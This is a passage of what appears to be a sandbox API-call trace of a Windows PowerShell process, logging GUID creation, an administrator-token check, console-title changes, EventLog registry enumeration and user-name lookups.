Data3=0x4858, Data4=([0]=0xa8, [1]=0xf5, [2]=0x40, [3]=0x54, [4]=0x2b, [5]=0xd1, [6]=0xe0, [7]=0x10))) returned 0x0 [0114.472] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x762149e5, Data2=0x3d60, Data3=0x48bb, Data4=([0]=0xa2, [1]=0x8d, [2]=0x46, [3]=0x1c, [4]=0x15, [5]=0xcd, [6]=0xc1, [7]=0x12))) returned 0x0 [0114.475] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x605ee84f, Data2=0x40ce, Data3=0x4793, Data4=([0]=0xa4, [1]=0x88, [2]=0x32, [3]=0x93, [4]=0x17, [5]=0x24, [6]=0x97, [7]=0x35))) returned 0x0 [0114.479] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x3e121a96, Data2=0x67ee, Data3=0x4747, Data4=([0]=0xb7, [1]=0x52, [2]=0xdb, [3]=0xc, [4]=0x0, [5]=0xe8, [6]=0xda, [7]=0xcc))) returned 0x0 [0114.479] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xdb55bdcd, Data2=0xa240, Data3=0x4248, Data4=([0]=0xba, [1]=0xe, [2]=0x1a, [3]=0xbc, [4]=0xe5, [5]=0xa8, [6]=0xd, [7]=0x9a))) returned 0x0 [0114.481] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xa98aa5d1, Data2=0xec50, Data3=0x4541, Data4=([0]=0xac, [1]=0x9b, [2]=0x2f, [3]=0x7, [4]=0x93, [5]=0xb9, [6]=0xe8, [7]=0x41))) returned 0x0 [0114.482] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x3547fce4, Data2=0x634b, Data3=0x4adc, Data4=([0]=0x91, [1]=0xf0, [2]=0x9b, [3]=0xa8, [4]=0xa2, [5]=0xb0, [6]=0x8f, [7]=0x8f))) returned 0x0 [0114.486] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x6f76d373, Data2=0x3d70, Data3=0x413c, Data4=([0]=0xb7, [1]=0x5d, [2]=0xd7, [3]=0xff, [4]=0xc4, [5]=0x8f, [6]=0x1a, [7]=0xc3))) returned 0x0 [0114.486] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x16a41fe8, Data2=0x9ef6, Data3=0x4269, Data4=([0]=0xb9, [1]=0xd2, [2]=0x52, [3]=0x59, [4]=0x5a, [5]=0x13, [6]=0x47, [7]=0x18))) returned 0x0 [0114.487] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x641815ed, Data2=0xa37c, Data3=0x4341, Data4=([0]=0x8e, [1]=0xd8, [2]=0x96, [3]=0x46, [4]=0xe6, [5]=0x35, [6]=0x40, [7]=0x24))) returned 0x0 [0114.490] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x6b1dcb2a, Data2=0xaa79, Data3=0x43ef, Data4=([0]=0xb7, [1]=0xf3, [2]=0xd4, [3]=0x8e, [4]=0x7e, [5]=0xff, [6]=0xb7, [7]=0x14))) returned 0x0 [0114.493] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x50c77995, Data2=0x2de7, Data3=0x4a64, Data4=([0]=0xbe, [1]=0x51, [2]=0xe5, [3]=0xef, [4]=0x8a, [5]=0xd5, [6]=0x80, [7]=0xba))) returned 0x0 [0114.496] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xbf904df0, Data2=0x626f, Data3=0x4b57, Data4=([0]=0x88, [1]=0x80, [2]=0x27, [3]=0x73, [4]=0x3, [5]=0x4d, [6]=0x1b, [7]=0x89))) returned 0x0 [0114.496] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x92d1e0ec, Data2=0xd2f3, Data3=0x4607, Data4=([0]=0x8d, [1]=0x5e, [2]=0xa, [3]=0x67, [4]=0xb0, [5]=0x1d, [6]=0x42, [7]=0xf8))) returned 0x0 [0114.500] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x90dafef2, Data2=0x6c2b, Data3=0x480e, Data4=([0]=0x97, [1]=0xd4, [2]=0x18, [3]=0x38, [4]=0x6, [5]=0xe8, [6]=0xe1, [7]=0x1f))) returned 0x0 [0114.600] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x8f3b3af3, Data2=0x1e2d, Data3=0x4cdf, Data4=([0]=0x80, [1]=0x88, [2]=0x4, [3]=0xc1, [4]=0xf2, [5]=0x97, [6]=0x41, [7]=0xb))) returned 0x0 [0114.602] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xd7b1661e, Data2=0xeca9, Data3=0x4947, Data4=([0]=0x8e, [1]=0xb2, [2]=0x89, [3]=0xb4, [4]=0x81, [5]=0x8c, [6]=0x2b, [7]=0x2f))) returned 0x0 [0114.605] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x26ed9c53, Data2=0x6f69, Data3=0x41e8, Data4=([0]=0x83, [1]=0xd5, [2]=0xc, [3]=0x28, [4]=0xb2, [5]=0xd2, [6]=0x74, [7]=0xde))) returned 0x0 [0114.608] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x8eb4ea58, Data2=0x2316, Data3=0x4882, Data4=([0]=0xb9, [1]=0x3c, [2]=0x5, [3]=0xda, [4]=0x85, [5]=0x4, [6]=0x7b, [7]=0x80))) returned 0x0 [0114.611] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x85beb398, Data2=0xd5dc, Data3=0x4bce, Data4=([0]=0xa2, [1]=0x8a, [2]=0xfd, [3]=0xb9, [4]=0x92, [5]=0x31, [6]=0xfc, [7]=0x64))) returned 0x0 [0114.614] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xd14eda9f, Data2=0x2f96, Data3=0x45af, Data4=([0]=0x89, [1]=0xf6, [2]=0x35, [3]=0xc2, [4]=0xb8, [5]=0xc, [6]=0x1c, [7]=0x38))) returned 0x0 [0114.617] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xa8e2cc, Data2=0x5ce4, Data3=0x4d79, Data4=([0]=0xaf, [1]=0xc3, [2]=0x4f, [3]=0xd3, [4]=0xa, [5]=0x41, [6]=0x14, [7]=0x5b))) returned 0x0 [0114.620] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x61ca298d, Data2=0x8610, Data3=0x47be, Data4=([0]=0xa3, [1]=0xcb, [2]=0x71, [3]=0xbd, [4]=0x46, [5]=0x26, [6]=0x18, [7]=0x7c))) returned 0x0 [0114.623] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xa040d89c, Data2=0xea88, Data3=0x4f7d, Data4=([0]=0xa3, [1]=0x97, [2]=0xd6, [3]=0xd2, [4]=0x79, [5]=0xa3, [6]=0x45, [7]=0x6))) returned 0x0 [0114.626] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x3abd4bd2, Data2=0x6d3e, Data3=0x479e, Data4=([0]=0x90, [1]=0x39, [2]=0x12, [3]=0x35, [4]=0x85, [5]=0x56, [6]=0x74, [7]=0xef))) returned 0x0 [0114.630] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x9e0e5ebb, Data2=0xc9f1, Data3=0x4cbd, Data4=([0]=0x80, [1]=0x79, [2]=0xe3, [3]=0x4a, [4]=0xc6, [5]=0x3c, [6]=0xd, [7]=0x48))) returned 0x0 [0114.634] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xa4fa141, Data2=0xf80a, Data3=0x47fa, Data4=([0]=0x89, [1]=0x51, [2]=0x36, [3]=0xee, [4]=0x69, [5]=0xd9, [6]=0x41, [7]=0xef))) returned 0x0 [0114.637] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x4a470055, Data2=0xa96e, Data3=0x4694, Data4=([0]=0x9b, [1]=0xbb, [2]=0x6c, [3]=0xa5, [4]=0x3d, [5]=0xa3, [6]=0xbc, [7]=0xf5))) returned 0x0 [0114.775] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x6b659a29, Data2=0x8ae7, Data3=0x4c90, Data4=([0]=0x87, [1]=0x1c, [2]=0x63, [3]=0x74, [4]=0x26, [5]=0x39, [6]=0xd3, [7]=0x92))) returned 0x0 [0114.781] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0xa7b0a373, Data2=0xa96, Data3=0x4c67, Data4=([0]=0xa4, [1]=0x77, [2]=0x6a, [3]=0x66, [4]=0xa4, [5]=0xdc, [6]=0x1b, [7]=0x55))) returned 0x0 [0114.886] CoCreateGuid (in: pguid=0x746f364 | out: pguid=0x746f364*(Data1=0x7aed54f7, Data2=0x813, Data3=0x455a, Data4=([0]=0xb0, [1]=0x30, [2]=0x8e, [3]=0xa1, [4]=0x35, [5]=0x5c, [6]=0xd1, [7]=0x2e))) returned 0x0 Thread: id = 102 os_tid = 0x1118 Thread: id = 103 os_tid = 0x1110 Thread: id = 104 os_tid = 0xa24 Thread: id = 106 os_tid = 0x10f8 [0111.978] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0111.979] CoGetContextToken (in: pToken=0x7cef9f4 | out: pToken=0x7cef9f4) returned 0x0 [0111.979] CObjectContext::QueryInterface () returned 0x0 [0111.979] CObjectContext::GetCurrentThreadType () returned 0x0 [0111.979] Release () returned 0x0 [0111.979] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0111.979] CoUninitialize () [0111.979] RoInitialize () returned 0x1 [0111.979] RoUninitialize () returned 0x0 [0111.980] GetCurrentProcess () returned 0xffffffff [0111.980] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x7cef530 | out: TokenHandle=0x7cef530*=0x768) returned 1 [0111.980] GetTokenInformation (in: TokenHandle=0x768, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x7cef534 | out: TokenInformation=0x0, ReturnLength=0x7cef534) returned 0 [0111.980] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x776b310 [0111.980] GetTokenInformation (in: TokenHandle=0x768, TokenInformationClass=0x8, TokenInformation=0x776b310, TokenInformationLength=0x4, ReturnLength=0x7cef534 | out: TokenInformation=0x776b310, ReturnLength=0x7cef534) returned 1 [0111.980] LocalFree (hMem=0x776b310) returned 0x0 [0111.980] DuplicateTokenEx (in: hExistingToken=0x768, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x7cef53c | out: phNewToken=0x7cef53c*=0x76c) returned 1 [0111.980] CheckTokenMembership (in: TokenHandle=0x76c, SidToCheck=0x546a77c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x7cef54c | out: IsMember=0x7cef54c) returned 1 [0111.980] CloseHandle (hObject=0x76c) returned 1 [0112.005] CoTaskMemAlloc (cb=0x804) returned 0x7728858 [0112.005] GetConsoleTitleW (in: lpConsoleTitle=0x7728858, nSize=0x400 | out: lpConsoleTitle="Windows PowerShell") returned 0x13 [0112.200] CoTaskMemFree (pv=0x7728858) [0112.201] CoTaskMemAlloc (cb=0x804) returned 0x7728858 [0112.201] GetConsoleTitleW (in: lpConsoleTitle=0x7728858, nSize=0x400 | out: lpConsoleTitle="Windows PowerShell") returned 0x13 [0112.261] CoTaskMemFree (pv=0x7728858) [0112.261] SetConsoleTitleW (lpConsoleTitle="Administrator: Windows PowerShell") returned 1 [0112.342] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.406] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.450] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.541] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.807] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0112.979] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.191] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.314] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.440] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.486] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.582] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.705] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.158] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x7ceebb0, nSize=0x80 | out: lpBuffer="က滸က滸") returned 0x0 [0114.573] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x7ceea7c, nSize=0x80 | out: lpBuffer="ߎ籶狚ޝက滸က滸") returned 0x0 [0114.588] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x78c) returned 0x0 [0114.589] RegQueryInfoKeyW (in: hKey=0x78c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x7cef3cc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7cef3c8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x7cef3cc*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7cef3c8*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.589] RegEnumKeyExW (in: hKey=0x78c, dwIndex=0x0, lpName=0x557a98c, lpcchName=0x7cef3e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x7cef3e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.589] RegEnumKeyExW (in: hKey=0x78c, dwIndex=0x1, lpName=0x557a98c, lpcchName=0x7cef3e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x7cef3e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.589] RegEnumKeyExW (in: hKey=0x78c, dwIndex=0x2, lpName=0x557a98c, lpcchName=0x7cef3e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x7cef3e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.589] RegEnumKeyExW (in: hKey=0x78c, dwIndex=0x3, lpName=0x557a98c, lpcchName=0x7cef3e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x7cef3e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.589] RegEnumKeyExW (in: hKey=0x78c, dwIndex=0x4, lpName=0x557a98c, lpcchName=0x7cef3e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x7cef3e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.589] RegEnumKeyExW (in: hKey=0x78c, dwIndex=0x5, lpName=0x557a98c, lpcchName=0x7cef3e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x7cef3e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.589] RegEnumKeyExW (in: hKey=0x78c, dwIndex=0x6, lpName=0x557a98c, lpcchName=0x7cef3e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x7cef3e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.589] RegEnumKeyExW (in: hKey=0x78c, dwIndex=0x7, lpName=0x557a98c, lpcchName=0x7cef3e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x7cef3e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0114.589] RegOpenKeyExW (in: hKey=0x78c, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x790) returned 0x0 [0114.589] RegOpenKeyExW (in: hKey=0x790, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x0) returned 0x2 [0114.589] RegCloseKey (hKey=0x790) returned 0x0 [0114.590] RegOpenKeyExW (in: hKey=0x78c, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x790) returned 0x0 [0114.590] RegOpenKeyExW (in: hKey=0x790, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x0) returned 0x2 [0114.590] RegCloseKey (hKey=0x790) returned 0x0 [0114.590] RegOpenKeyExW (in: hKey=0x78c, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x790) returned 0x0 [0114.590] RegOpenKeyExW (in: hKey=0x790, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x0) returned 0x2 [0114.590] RegCloseKey (hKey=0x790) returned 0x0 [0114.590] RegOpenKeyExW (in: hKey=0x78c, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x790) returned 0x0 [0114.590] RegOpenKeyExW (in: hKey=0x790, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x0) returned 0x2 [0114.590] RegCloseKey (hKey=0x790) returned 0x0 [0114.590] RegOpenKeyExW (in: hKey=0x78c, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x790) returned 0x0 [0114.590] RegOpenKeyExW (in: hKey=0x790, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x0) returned 0x2 [0114.590] RegCloseKey (hKey=0x790) returned 0x0 [0114.591] RegOpenKeyExW (in: hKey=0x78c, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x790) returned 0x0 [0114.591] RegOpenKeyExW (in: hKey=0x790, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x0) returned 0x2 [0114.591] RegCloseKey (hKey=0x790) returned 0x0 [0114.591] RegOpenKeyExW (in: hKey=0x78c, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x790) returned 0x0 [0114.591] RegOpenKeyExW (in: hKey=0x790, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x0) returned 0x2 [0114.591] RegCloseKey (hKey=0x790) returned 0x0 [0114.591] RegOpenKeyExW (in: hKey=0x78c, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x790) returned 0x0 [0114.591] RegOpenKeyExW (in: hKey=0x790, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef3a8 | out: phkResult=0x7cef3a8*=0x794) returned 0x0 [0114.591] RegCloseKey (hKey=0x794) returned 0x0 [0114.591] RegCloseKey (hKey=0x78c) returned 0x0 [0114.592] RegCloseKey (hKey=0x790) returned 0x0 [0114.800] CoTaskMemAlloc (cb=0x804) returned 0x7985e58 [0114.800] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x7985e58, nSize=0x7cef4a0 | out: lpNameBuffer="NQDPDE\\FD1HVy", nSize=0x7cef4a0) returned 0x1 [0114.804] CoTaskMemFree (pv=0x7985e58) [0114.804] GetUserNameW (in: lpBuffer=0x7cef234, pcbBuffer=0x7cef4ac | out: lpBuffer="FD1HVy", pcbBuffer=0x7cef4ac) returned 1 [0115.012] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef350 | out: phkResult=0x7cef350*=0x798) returned 0x0 [0115.012] RegQueryInfoKeyW (in: hKey=0x798, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x7cef3a0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7cef39c, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x7cef3a0*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x7cef39c*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.012] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x0, lpName=0x5643040, lpcchName=0x7cef3bc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x7cef3bc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.012] CoTaskMemFree (pv=0x0) [0115.012] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x1, lpName=0x5643040, lpcchName=0x7cef3bc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x7cef3bc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.012] CoTaskMemFree (pv=0x0) [0115.012] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x2, lpName=0x5643040, lpcchName=0x7cef3bc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x7cef3bc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.013] CoTaskMemFree (pv=0x0) [0115.013] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x3, lpName=0x5643040, lpcchName=0x7cef3bc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x7cef3bc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.013] CoTaskMemFree (pv=0x0) [0115.013] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x4, lpName=0x5643040, lpcchName=0x7cef3bc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x7cef3bc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.013] CoTaskMemFree (pv=0x0) [0115.013] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x5, lpName=0x5643040, lpcchName=0x7cef3bc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x7cef3bc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.013] CoTaskMemFree (pv=0x0) [0115.013] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x6, lpName=0x5643040, lpcchName=0x7cef3bc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x7cef3bc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.013] CoTaskMemFree (pv=0x0) [0115.013] RegEnumKeyExW (in: hKey=0x798, dwIndex=0x7, lpName=0x5643040, lpcchName=0x7cef3bc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x7cef3bc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0115.013] CoTaskMemFree (pv=0x0) [0115.013] RegOpenKeyExW (in: hKey=0x798, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x79c) returned 0x0 [0115.013] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x0) returned 0x2 [0115.013] RegCloseKey (hKey=0x79c) returned 0x0 [0115.013] RegOpenKeyExW (in: hKey=0x798, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x79c) returned 0x0 [0115.013] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x0) returned 0x2 [0115.013] RegCloseKey (hKey=0x79c) returned 0x0 [0115.013] RegOpenKeyExW (in: hKey=0x798, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x79c) returned 0x0 [0115.013] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x0) returned 0x2 [0115.013] RegCloseKey (hKey=0x79c) returned 0x0 [0115.013] RegOpenKeyExW (in: hKey=0x798, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x79c) returned 0x0 [0115.014] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x0) returned 0x2 [0115.014] RegCloseKey (hKey=0x79c) returned 0x0 [0115.014] RegOpenKeyExW (in: hKey=0x798, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x79c) returned 0x0 [0115.014] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x0) returned 0x2 [0115.014] RegCloseKey (hKey=0x79c) returned 0x0 [0115.014] RegOpenKeyExW (in: hKey=0x798, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x79c) returned 0x0 [0115.014] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x0) returned 0x2 [0115.014] RegCloseKey (hKey=0x79c) returned 0x0 [0115.014] RegOpenKeyExW (in: hKey=0x798, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x79c) returned 0x0 [0115.014] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x0) returned 0x2 [0115.014] RegCloseKey (hKey=0x79c) returned 0x0 [0115.014] RegOpenKeyExW (in: hKey=0x798, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x79c) returned 0x0 [0115.014] RegOpenKeyExW (in: hKey=0x79c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x7cef37c | out: phkResult=0x7cef37c*=0x7a0) returned 0x0 [0115.014] RegCloseKey (hKey=0x7a0) returned 0x0 [0115.015] RegCloseKey (hKey=0x798) returned 0x0 [0115.015] RegCloseKey (hKey=0x79c) returned 0x0 [0115.016] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, 